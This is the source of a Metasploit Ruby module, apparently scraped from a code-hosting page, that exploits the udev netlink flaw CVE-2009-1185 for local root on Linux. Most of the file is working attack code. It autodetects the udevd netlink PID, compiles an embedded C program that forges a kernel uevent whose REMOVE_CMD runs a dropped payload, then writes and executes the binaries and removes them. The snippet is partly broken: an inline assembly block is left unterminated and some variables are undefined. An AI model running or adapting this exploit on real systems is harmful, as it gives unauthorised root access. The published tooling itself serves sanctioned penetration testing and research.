261 lines
7.2 KiB
Ruby
261 lines
7.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/file'
|
|
require 'msf/core/post/linux/priv'
|
|
require 'msf/core/exploit/local/linux_kernel'
|
|
require 'msf/core/exploit/local/linux'
|
|
require 'msf/core/exploit/local/unix'
|
|
|
|
#load 'lib/msf/core/post/file.rb'
|
|
#load 'lib/msf/core/exploit/local/unix.rb'
|
|
#load 'lib/msf/core/exploit/local/linux.rb'
|
|
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
|
|
|
|
class Metasploit4 < Msf::Exploit::Local
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::File
|
|
include Msf::Post::Common
|
|
|
|
include Msf::Exploit::Local::LinuxKernel
|
|
include Msf::Exploit::Local::Linux
|
|
include Msf::Exploit::Local::Unix
|
|
|
|
def initialize(info={})
|
|
super( update_info( info, {
|
|
'Name' => 'Linux udev Netlink Local Privilege Escalation',
|
|
'Description' => %q{
|
|
Versions of udev < 1.4.1 do not verify that netlink messages are
|
|
coming from the kernel. This allows local users to gain privileges by
|
|
sending netlink messages from userland.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'kcope', # discovery
|
|
'Jon Oberheide', # 95-udev-late.rules technique
|
|
'egypt' # metasploit module
|
|
],
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_X86 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-1185' ],
|
|
[ 'OSVDB', '53810' ],
|
|
[ 'BID', '34536' ]
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
|
|
#[ 'Command payload', { 'Arch' => ARCH_CMD } ],
|
|
],
|
|
'DefaultOptons' => { 'WfsDelay' => 2 },
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => "",
|
|
}
|
|
))
|
|
register_options([
|
|
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
|
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
|
|
netlink_pid = datastore["NetlinkPID"]
|
|
else
|
|
print_status("Attempting to autodetect netlink pid...")
|
|
netlink_pid = autodetect_netlink_pid
|
|
end
|
|
|
|
if not netlink_pid
|
|
print_error "Couldn't autodetect netlink PID, try specifying it manually."
|
|
print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
|
|
return
|
|
else
|
|
print_good "Found netlink pid: #{netlink_pid}"
|
|
end
|
|
|
|
sc = Metasm::ELF.new(@cpu)
|
|
sc.parse %Q|
|
|
#define DEBUGGING
|
|
#define NULL ((void*)0)
|
|
#ifdef __ELF__
|
|
.section ".bss" rwx
|
|
.section ".text" rwx
|
|
.entrypoint
|
|
#endif
|
|
call main
|
|
push eax
|
|
call exit
|
|
|
|
|
|
|
# Set up the same include order as the bionic build system.
|
|
# See external/source/meterpreter/source/bionic/libc/Jamfile
|
|
cparser.lexer.include_search_path = [
|
|
"external/source/meterpreter/source/bionic/libc/include/",
|
|
"external/source/meterpreter/source/bionic/libc/private/",
|
|
"external/source/meterpreter/source/bionic/libc/bionic/",
|
|
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
|
|
"external/source/meterpreter/source/bionic/libc/kernel/common/",
|
|
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
|
|
]
|
|
|
|
cparser.parse(%Q|
|
|
#define DEBUGGING
|
|
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
|
|
#ifndef __extension__
|
|
#define __extension__
|
|
#endif
|
|
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
|
|
// Doing #if on an undefined macro is fine in GCC, but a parse error in
|
|
// metasm.
|
|
#ifndef __STDC__
|
|
#define __STDC__ 0
|
|
#endif
|
|
#include <sys/types.h>
|
|
#include <stdarg.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <errno.h>
|
|
|)
|
|
|
|
[
|
|
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
|
|
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
|
|
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
|
|
].each do |fname|
|
|
cparser.parse(File.read(fname), fname)
|
|
end
|
|
|
|
payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
|
|
evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
|
|
|
|
unix_socket_h(sc)
|
|
linux_x86_syscall_wrappers(sc)
|
|
|
|
main = %Q^
|
|
#include <string.h>
|
|
#include <linux/netlink.h>
|
|
#define NULL 0
|
|
|
|
int main() {
|
|
int sock;
|
|
struct iovec iov;
|
|
struct sockaddr_nl sa;
|
|
struct msghdr msg;
|
|
char *mp;
|
|
char message[4096];
|
|
|
|
memset(sa, 0, sizeof(sa));
|
|
sa.nl_family = AF_NETLINK;
|
|
sa.nl_pid = #{netlink_pid};
|
|
sa.nl_groups = 0;
|
|
|
|
memset(&msg, 0x00, sizeof(struct msghdr));
|
|
msg.msg_name = (void *)&sa;
|
|
msg.msg_namelen = sizeof(sa);
|
|
msg.msg_iov = &iov;
|
|
msg.msg_iovlen = 1;
|
|
msg.msg_control = NULL;
|
|
msg.msg_controllen = 0;
|
|
msg.msg_flags = 0;
|
|
|
|
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
|
|
bind(sock, (struct sockaddr *) &sa, sizeof(sa));
|
|
|
|
mp = message;
|
|
mp += sprintf(mp, "remove@/d") + 1;
|
|
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
|
|
mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
|
|
mp += sprintf(mp, "TIMEOUT=10") + 1;
|
|
mp += sprintf(mp, "ACTION=remove") +1;
|
|
mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;
|
|
|
|
iov.iov_base = (void*)message;
|
|
iov.iov_len = (int)(mp-message);
|
|
|
|
sendmsg(sock, &msg, 0);
|
|
|
|
close(sock);
|
|
|
|
return 0;
|
|
}
|
|
^
|
|
cparser.parse(main, "main.c")
|
|
|
|
asm = cpu.new_ccompiler(cparser, sc).compile
|
|
|
|
sc.parse asm
|
|
|
|
sc.assemble
|
|
|
|
begin
|
|
elf = sc.encode_string
|
|
rescue
|
|
print_error "Metasm Encoding failed: #{$!}"
|
|
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
|
|
elog "Call stack:\n#{$!.backtrace.join("\n")}"
|
|
return
|
|
end
|
|
|
|
pl = payload.encoded_exe
|
|
print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
|
|
write_file(payload_path, pl)
|
|
|
|
print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
|
|
write_file(evil_path, elf)
|
|
|
|
print_status "chmod'ing and running it..."
|
|
cmd_exec("chmod 755 #{evil_path} #{payload_path}")
|
|
cmd_exec("#{evil_path}")
|
|
|
|
rm_f(evil_path, payload_path)
|
|
end
|
|
|
|
def autodetect_netlink_pid
|
|
netlink_pid = nil
|
|
|
|
case session.type
|
|
when "meterpreter"
|
|
print_status("Meterpreter session, using get_processes to find netlink pid")
|
|
process_list = session.sys.process.get_processes
|
|
udev_proc = process_list.find {|p| p["name"] =~ /udevd/ }
|
|
udev_pid = udev_proc["pid"]
|
|
print_status "udev pid: #{udev_pid}"
|
|
netlink = read_file("/proc/net/netlink")
|
|
netlink.each_line do |line|
|
|
pid = line.split(/\s+/)[2].to_i
|
|
if pid == udev_pid - 1
|
|
netlink_pid = pid
|
|
break
|
|
end
|
|
end
|
|
else
|
|
print_status("Shell session, trying sh script to find netlink pid")
|
|
netlink_pid = cmd_exec(
|
|
%q^
|
|
for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
|
|
for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
|
|
[ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
|
|
done;
|
|
done ^)
|
|
netlink_pid = nil if netlink_pid.empty?
|
|
end
|
|
|
|
netlink_pid
|
|
end
|
|
end
|